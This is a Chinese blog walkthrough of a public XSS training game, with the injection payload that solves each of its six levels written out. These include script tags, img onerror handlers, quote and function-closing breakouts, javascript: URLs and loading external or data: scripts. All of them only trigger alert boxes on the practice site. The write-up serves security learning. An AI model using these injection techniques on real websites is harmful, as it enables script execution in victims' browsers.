2022-渗透测试-xss小游戏通关

这是一个在线靶场-xss小游戏通关,一共6关。链接地址:

XSS game (xss-game.appspot.com)https://xss-game.appspot.com/登陆成功后,页面如下。

第一关:Hello, world of XSS

第一关没有对输入的字符串进行任何的过滤,我们可以在漏洞的窗体或直接在输入栏输入特定的恶意url以之行你想要的JavaScript脚本。

<script>alert('123');</script>

 第二关:Persistence is key

如果还是输入<script>alert()</script>代码,发现并没有弹窗,预定义的字符代码已经被转译成了HTML实体了 。直接闭合前后标签,构造新的标签即可。

<img src="1.jpg" onerror="javascript:alert(1);"/>

 第三关:That sinking feeling...

这一关的输出是在img src里面,可以说是考js闭合问题,直接闭合前面的src,造成无法加载成功弹框。 

观察网页,是三张图片,分别代表三个不同的url链接。实际上就是用#后面跟的数字用来区分不同的图片。 

https://xss-game.appspot.com/level3/frame#'><script>alert(123);</script>

 

 第四关:Context matters

 我们将3改成<script>alert(123);</script>。

 地址栏直接输出了,但是奇怪的是下面的计时器脚本仍然被执行了,想到应该是设置了默认值。

查看网页源代码

    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>

看到了确实有个默认值等于3秒,这就是之前直接alert弹窗失败的原因。

在地址栏加上引号,如图,此时进入了一个无线循环中。 

 闭合图中的startTimer()函数,然后弹框即可。

https://xss-game.appspot.com/level4/frame?timer=100'),alert('Borber

 第五关:Breaking protocol

 我们尝试输入<script>alert(123);</script>

 查看网页源代码

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">
 
    <br><br>
    <a href="{{ next }}">Next >></a>
  </body>
</html>

可以看到一个超链接标签,这个是用来跳转到新页面的按钮,用到的代码结构如下。

<a href='javascript:doSomething()'>...</a>

执行权首先落在都Something()函数,若存在返回值则将返回值返给超链接进行合成。这样的便利催生了下面的注入代码:首先在地址栏输入注入代码接着敲回车键,这会更改其默认url地址,然后在输入栏再写一遍注入代码并回车即可。

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert("Borber")

 第六关:Follow the 🐇

 尝试着输入

首先写一个最简单的一句话JavaScript脚本aa.js

alert(1);

放到/var/www/html/目录下面,接着开启Kali自带的apache2服务器。现在你的文件对目标网站是可见的了,至少说是可被加载的了。把下面的注入字符串写到#号后面实现代码注入。

HTTP:127.0.0.1/aa.js

注入成功。这里注意的是,跟在#后面的HTTP必须大写,否则在#后面要先写一个空格。

最简单的方法是这样写:

data:text/javascript,alert(1);

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

保持微笑-泽

谢谢鼓励

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值